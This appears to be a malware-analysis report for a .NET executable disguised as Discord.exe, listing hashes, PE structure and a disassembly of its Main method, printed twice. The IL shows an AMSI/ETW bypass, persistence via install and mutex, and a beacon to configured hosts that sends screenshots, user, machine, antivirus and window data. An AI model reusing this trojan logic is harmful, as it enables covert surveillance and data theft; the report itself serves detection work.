Suspicious
Suspect

37ac69c903d0c1c196b3159a55417dcb

Share on LinkedIn
Print
PE Executable
MD5: 37ac69c903d0c1c196b3159a55417dcb
Size: 123.9 KB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Low
MD5 37ac69c903d0c1c196b3159a55417dcb
Sha1 17e2bab3497fe60327d2f145e93f5e6cf22abae6
Sha256 a4895d35b29bd056cfedbf16a7fc28f4d1ce00795e395a68155c02eb89d616bc
Sha384 25c809f63d69f848bbf5fae19e2d56647f431475fae683faae05d74403d081fcfafd010ceccd736546b0dbba13fc666c
Sha512 0229c758609ee56eed22c314305109e1718f9dfae9bc3b54f8dac6288be5c22309c8874734320d2d06836a9f945e9d6e105907c7b2a0db9ae739c5d49dbfa221
SSDeep 768:1FEZNK0jcMz9JhLiFbcpW4BaT4w02GG1Mnhf6HObdMPwZjLNxfenlAqSbcY8jZ:7EZNK0lz9JhLiFbshSObioZvSl7h
TLSH 70C3D5497784C950D1AE0A7A8E52F3C49335BD236D02E30A3D8AB39D3E3B3D58A15DD6
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
37ac69c903d0c1c196b3159a55417dcb
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0005
ID:0
ID:0006
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
50232ofm02vqtanxxlk
STICH beta

No STICH Path has been generated for this analysis yet.

2 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 2
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
Discord.exe
Full Name
Discord.exe
EntryPoint
System.Void Client.Program::Main(System.String[])
Scope Name
Discord.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Discord.exe
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
316
Main Method
System.Void Client.Program::Main(System.String[])
Main IL Instruction Count
248
Main IL 
nop <null>
nop <null>
call System.Void Client.Config::Init()
nop <null>
call System.Void Client.Helper.AsmiAndETW::Bypass()
nop <null>
ldsfld System.Threading.TimerCallback Client.Program/<>c::<>9__2_0
dup <null>
brtrue.s IL_002D: ldnull
pop <null>
ldsfld Client.Program/<>c Client.Program/<>c::<>9
ldftn System.Void Client.Program/<>c::<Main>b__2_0(System.Object)
newobj System.Void System.Threading.TimerCallback::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.TimerCallback Client.Program/<>c::<>9__2_0
ldnull <null>
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
newobj System.Void System.Threading.Timer::.ctor(System.Threading.TimerCallback,System.Object,System.TimeSpan,System.TimeSpan)
pop <null>
ldsfld System.String Client.Config::Install
ldstr !Kq%
call System.String Client.Helper.EncryptString::Decode(System.String)
call System.Boolean System.String::op_Equality(System.String,System.String)
stloc.0 <null>
ldloc.0 <null>
brfalse.s IL_0070: ldsfld System.String Client.Config::Mutex
nop <null>
call System.Void Client.Helper.Install::Run()
nop <null>
nop <null>
ldsfld System.String Client.Config::Mutex
call System.Boolean Client.Helper.MutexControl::CreateMutex(System.String)
ldc.i4.0 <null>
ceq <null>
stloc.1 <null>
ldloc.1 <null>
brfalse.s IL_0087: call System.Void Client.Helper.Methods::MaxPriority()
nop <null>
leave IL_029D: ret
call System.Void Client.Helper.Methods::MaxPriority()
nop <null>
call System.Void Client.Helper.Methods::PreventSleep()
nop <null>
br IL_0284: ldsfld System.Boolean Client.Program::shouldExit
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldfld System.Boolean Client.Helper.Client::itsConnect
brtrue.s IL_00AF: ldc.i4.0
ldsfld System.Boolean Client.Program::shouldExit
ldc.i4.0 <null>
ceq <null>
br.s IL_00B0: stloc.2
ldc.i4.0 <null>
stloc.2 <null>
ldloc.2 <null>
brfalse IL_0278: ldc.i4 200
nop <null>
ldsfld System.String Client.Config::Hosts
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 59
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc.3 <null>
ldloc.3 <null>
ldlen <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_8
ldloc.s V_8
brfalse.s IL_00EA: ldloc.3
nop <null>
ldc.i4 5000
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0284: ldsfld System.Boolean Client.Program::shouldExit
ldloc.3 <null>
ldsfld System.Random Client.Helper.Methods::random
ldloc.3 <null>
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.Random::Next(System.Int32)
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc.s V_4
ldloc.s V_4
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 58
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc.s V_5
ldloc.s V_5
ldlen <null>
conv.i4 <null>
ldc.i4.2 <null>
ceq <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_9
ldloc.s V_9
brfalse.s IL_0135: ldloc.s V_5
nop <null>
ldc.i4 5000
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0284: ldsfld System.Boolean Client.Program::shouldExit
ldloc.s V_5
ldc.i4.0 <null>
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc.s V_6
ldloc.s V_5
ldc.i4.1 <null>
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc.s V_7
ldsfld Client.Helper.Client Client.Program::client
callvirt System.Void Client.Helper.Client::Disconnect()
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldloc.s V_6
ldloc.s V_7
callvirt System.Void Client.Helper.Client::Connect(System.String,System.String)
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldfld System.Boolean Client.Helper.Client::itsConnect
stloc.s V_10
ldloc.s V_10
brfalse IL_0277: nop
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldc.i4.2 <null>
newarr System.Object
dup <null>
ldc.i4.0 <null>
ldstr 7q!}
call System.String Client.Helper.EncryptString::Decode(System.String)
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
ldstr SOXn:/ev/lJH
call System.String Client.Helper.EncryptString::Decode(System.String)
stelem.ref <null>
call System.Byte[] Leb128.LEB128::Write(System.Object[])
callvirt System.Void Client.Helper.Client::Send(System.Byte[])
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldsfld Client.Helper.Client Client.Program::client
newobj System.Void Client.Helper.PingChecker::.ctor(Client.Helper.Client)
stfld Client.Helper.PingChecker Client.Helper.Client::pingChecker
ldsfld Client.Helper.Client Client.Program::client
ldsfld Client.Helper.Client Client.Program::client
newobj System.Void Client.Helper.LastPing::.ctor(Client.Helper.Client)
stfld Client.Helper.LastPing Client.Helper.Client::lastPing
ldsfld Client.Helper.Client Client.Program::client
ldc.i4.s 14
newarr System.Object
dup <null>
ldc.i4.0 <null>
ldstr H6##%p!
call System.String Client.Helper.EncryptString::Decode(System.String)
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
call System.Byte[] Client.Helper.Methods::CaptureResizeReduceQuality()
stelem.ref <null>
dup <null>
ldc.i4.2 <null>
ldsfld System.String Client.Config::Group
stelem.ref <null>
dup <null>
ldc.i4.3 <null>
ldsfld System.String Client.Config::Hwid
stelem.ref <null>
dup <null>
ldc.i4.4 <null>
call System.String System.Environment::get_UserName()
ldstr |]|
call System.String Client.Helper.EncryptString::Decode(System.String)
call System.String System.Environment::get_MachineName()
call System.String System.String::Concat(System.String,System.String,System.String)
stelem.ref <null>
dup <null>
ldc.i4.5 <null>
ldsfld System.String Client.Config::Camera
stelem.ref <null>
dup <null>
ldc.i4.6 <null>
ldsfld System.String Client.Config::Cpu
stelem.ref <null>
dup <null>
ldc.i4.7 <null>
ldsfld System.String Client.Config::Gpu
stelem.ref <null>
dup <null>
ldc.i4.8 <null>
ldsfld System.String Client.Config::WindowsVersion
stelem.ref <null>
dup <null>
ldc.i4.s 9
ldsfld System.String Client.Config::AntiVirus
stelem.ref <null>
dup <null>
ldc.i4.s 10
ldsfld System.String Client.Config::Version
stelem.ref <null>
dup <null>
ldc.i4.s 11
ldsfld System.String Client.Config::DataInstall
stelem.ref <null>
dup <null>
ldc.i4.s 12
ldsfld System.String Client.Config::Privilege
stelem.ref <null>
dup <null>
ldc.i4.s 13
call System.String Client.Helper.Methods::GetActiveWindowTitle()
stelem.ref <null>
call System.Byte[] Leb128.LEB128::Write(System.Object[])
callvirt System.Void Client.Helper.Client::Send(System.Byte[])
nop <null>
nop <null>
nop <null>
ldc.i4 200
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
nop <null>
ldsfld System.Boolean Client.Program::shouldExit
ldc.i4.0 <null>
ceq <null>
stloc.s V_11
ldloc.s V_11
brtrue IL_0098: nop
nop <null>
leave.s IL_029D: ret
pop <null>
nop <null>
nop <null>
leave.s IL_029D: ret
ret <null>
Module Name
Discord.exe
Full Name
Discord.exe
EntryPoint
System.Void Client.Program::Main(System.String[])
Scope Name
Discord.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Discord.exe
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
316
Main Method
System.Void Client.Program::Main(System.String[])
Main IL Instruction Count
248
Main IL 
nop <null>
nop <null>
call System.Void Client.Config::Init()
nop <null>
call System.Void Client.Helper.AsmiAndETW::Bypass()
nop <null>
ldsfld System.Threading.TimerCallback Client.Program/<>c::<>9__2_0
dup <null>
brtrue.s IL_002D: ldnull
pop <null>
ldsfld Client.Program/<>c Client.Program/<>c::<>9
ldftn System.Void Client.Program/<>c::<Main>b__2_0(System.Object)
newobj System.Void System.Threading.TimerCallback::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.TimerCallback Client.Program/<>c::<>9__2_0
ldnull <null>
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
newobj System.Void System.Threading.Timer::.ctor(System.Threading.TimerCallback,System.Object,System.TimeSpan,System.TimeSpan)
pop <null>
ldsfld System.String Client.Config::Install
ldstr !Kq%
call System.String Client.Helper.EncryptString::Decode(System.String)
call System.Boolean System.String::op_Equality(System.String,System.String)
stloc.0 <null>
ldloc.0 <null>
brfalse.s IL_0070: ldsfld System.String Client.Config::Mutex
nop <null>
call System.Void Client.Helper.Install::Run()
nop <null>
nop <null>
ldsfld System.String Client.Config::Mutex
call System.Boolean Client.Helper.MutexControl::CreateMutex(System.String)
ldc.i4.0 <null>
ceq <null>
stloc.1 <null>
ldloc.1 <null>
brfalse.s IL_0087: call System.Void Client.Helper.Methods::MaxPriority()
nop <null>
leave IL_029D: ret
call System.Void Client.Helper.Methods::MaxPriority()
nop <null>
call System.Void Client.Helper.Methods::PreventSleep()
nop <null>
br IL_0284: ldsfld System.Boolean Client.Program::shouldExit
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldfld System.Boolean Client.Helper.Client::itsConnect
brtrue.s IL_00AF: ldc.i4.0
ldsfld System.Boolean Client.Program::shouldExit
ldc.i4.0 <null>
ceq <null>
br.s IL_00B0: stloc.2
ldc.i4.0 <null>
stloc.2 <null>
ldloc.2 <null>
brfalse IL_0278: ldc.i4 200
nop <null>
ldsfld System.String Client.Config::Hosts
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 59
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc.3 <null>
ldloc.3 <null>
ldlen <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_8
ldloc.s V_8
brfalse.s IL_00EA: ldloc.3
nop <null>
ldc.i4 5000
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0284: ldsfld System.Boolean Client.Program::shouldExit
ldloc.3 <null>
ldsfld System.Random Client.Helper.Methods::random
ldloc.3 <null>
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.Random::Next(System.Int32)
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc.s V_4
ldloc.s V_4
ldc.i4.1 <null>
newarr System.Char
dup <null>
ldc.i4.0 <null>
ldc.i4.s 58
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc.s V_5
ldloc.s V_5
ldlen <null>
conv.i4 <null>
ldc.i4.2 <null>
ceq <null>
ldc.i4.0 <null>
ceq <null>
stloc.s V_9
ldloc.s V_9
brfalse.s IL_0135: ldloc.s V_5
nop <null>
ldc.i4 5000
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0284: ldsfld System.Boolean Client.Program::shouldExit
ldloc.s V_5
ldc.i4.0 <null>
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc.s V_6
ldloc.s V_5
ldc.i4.1 <null>
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc.s V_7
ldsfld Client.Helper.Client Client.Program::client
callvirt System.Void Client.Helper.Client::Disconnect()
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldloc.s V_6
ldloc.s V_7
callvirt System.Void Client.Helper.Client::Connect(System.String,System.String)
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldfld System.Boolean Client.Helper.Client::itsConnect
stloc.s V_10
ldloc.s V_10
brfalse IL_0277: nop
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldc.i4.2 <null>
newarr System.Object
dup <null>
ldc.i4.0 <null>
ldstr 7q!}
call System.String Client.Helper.EncryptString::Decode(System.String)
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
ldstr SOXn:/ev/lJH
call System.String Client.Helper.EncryptString::Decode(System.String)
stelem.ref <null>
call System.Byte[] Leb128.LEB128::Write(System.Object[])
callvirt System.Void Client.Helper.Client::Send(System.Byte[])
nop <null>
ldsfld Client.Helper.Client Client.Program::client
ldsfld Client.Helper.Client Client.Program::client
newobj System.Void Client.Helper.PingChecker::.ctor(Client.Helper.Client)
stfld Client.Helper.PingChecker Client.Helper.Client::pingChecker
ldsfld Client.Helper.Client Client.Program::client
ldsfld Client.Helper.Client Client.Program::client
newobj System.Void Client.Helper.LastPing::.ctor(Client.Helper.Client)
stfld Client.Helper.LastPing Client.Helper.Client::lastPing
ldsfld Client.Helper.Client Client.Program::client
ldc.i4.s 14
newarr System.Object
dup <null>
ldc.i4.0 <null>
ldstr H6##%p!
call System.String Client.Helper.EncryptString::Decode(System.String)
stelem.ref <null>
dup <null>
ldc.i4.1 <null>
call System.Byte[] Client.Helper.Methods::CaptureResizeReduceQuality()
stelem.ref <null>
dup <null>
ldc.i4.2 <null>
ldsfld System.String Client.Config::Group
stelem.ref <null>
dup <null>
ldc.i4.3 <null>
ldsfld System.String Client.Config::Hwid
stelem.ref <null>
dup <null>
ldc.i4.4 <null>
call System.String System.Environment::get_UserName()
ldstr |]|
call System.String Client.Helper.EncryptString::Decode(System.String)
call System.String System.Environment::get_MachineName()
call System.String System.String::Concat(System.String,System.String,System.String)
stelem.ref <null>
dup <null>
ldc.i4.5 <null>
ldsfld System.String Client.Config::Camera
stelem.ref <null>
dup <null>
ldc.i4.6 <null>
ldsfld System.String Client.Config::Cpu
stelem.ref <null>
dup <null>
ldc.i4.7 <null>
ldsfld System.String Client.Config::Gpu
stelem.ref <null>
dup <null>
ldc.i4.8 <null>
ldsfld System.String Client.Config::WindowsVersion
stelem.ref <null>
dup <null>
ldc.i4.s 9
ldsfld System.String Client.Config::AntiVirus
stelem.ref <null>
dup <null>
ldc.i4.s 10
ldsfld System.String Client.Config::Version
stelem.ref <null>
dup <null>
ldc.i4.s 11
ldsfld System.String Client.Config::DataInstall
stelem.ref <null>
dup <null>
ldc.i4.s 12
ldsfld System.String Client.Config::Privilege
stelem.ref <null>
dup <null>
ldc.i4.s 13
call System.String Client.Helper.Methods::GetActiveWindowTitle()
stelem.ref <null>
call System.Byte[] Leb128.LEB128::Write(System.Object[])
callvirt System.Void Client.Helper.Client::Send(System.Byte[])
nop <null>
nop <null>
nop <null>
ldc.i4 200
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
nop <null>
ldsfld System.Boolean Client.Program::shouldExit
ldc.i4.0 <null>
ceq <null>
stloc.s V_11
ldloc.s V_11
brtrue IL_0098: nop
nop <null>
leave.s IL_029D: ret
pop <null>
nop <null>
nop <null>
leave.s IL_029D: ret
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙